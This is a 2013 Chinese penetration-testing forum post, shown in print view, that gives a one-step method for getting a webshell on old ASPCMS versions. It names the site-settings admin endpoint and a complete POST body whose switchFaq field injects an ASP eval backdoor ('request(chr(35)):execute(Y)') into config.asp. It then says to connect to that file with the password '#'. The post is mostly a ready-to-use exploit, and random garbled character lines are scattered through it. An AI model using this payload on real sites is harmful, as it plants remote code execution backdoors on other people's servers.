中国网络渗透测试联盟

标题: ASPCMS 老版本秒杀拿SHELL [打印本页]

---

作者: admin    时间: 2013-2-4 16:18
标题: ASPCMS 老版本秒杀拿SHELL
老的ASPCMS版本的秒杀拿SHELL漏洞
  W! @# L7 g% ~! K* F$ r# I2 `' _1 K! g
找到后台。。。然后
5 A" }0 u- G2 I4 L# p
( z+ T, R% `9 d2 c# B/admin/_system/AspCms_SiteSetting.asp?action=saves

9 N( v# k, b) o7 G: `2 E直接POST
! n8 h7 x2 V! ]
8 x" {* |2 s/ N4 n0 n$ H) ^+ srunMode=1&siteMode=1&siteHelp=%B1%BE%CD%F8%D5%BE%D2%F2%B3%CC%D0%F2%C9%FD%BC%B6%B9%D8%B1%D5%D6%D0&SwitchComments=1&SwitchCommentsStatus=1&switchFaq=0:Y=request(chr(35)):execute(Y)&SwitchFaqStatus=0&dirtyStr=&waterMark=1&waterMarkFont=hahahaha&waterMarkLocation=1&smtp_usermail=aspcmstest%40163.com&smtp_user=aspcmstest&smtp_password=aspcms.cn&smtp_server=smtp.163.com&MessageAlertsEmail=13322712%40qq.com&messageReminded=1&orderReminded=1&applyReminded=1&commentReminded=1&LanguageID=1
1 O) e* Y) W! a. e5 O8 B
' y# F4 G) ^4 u再连接配置文件config.asp 密码为#

---

欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)

Powered by Discuz! X3.2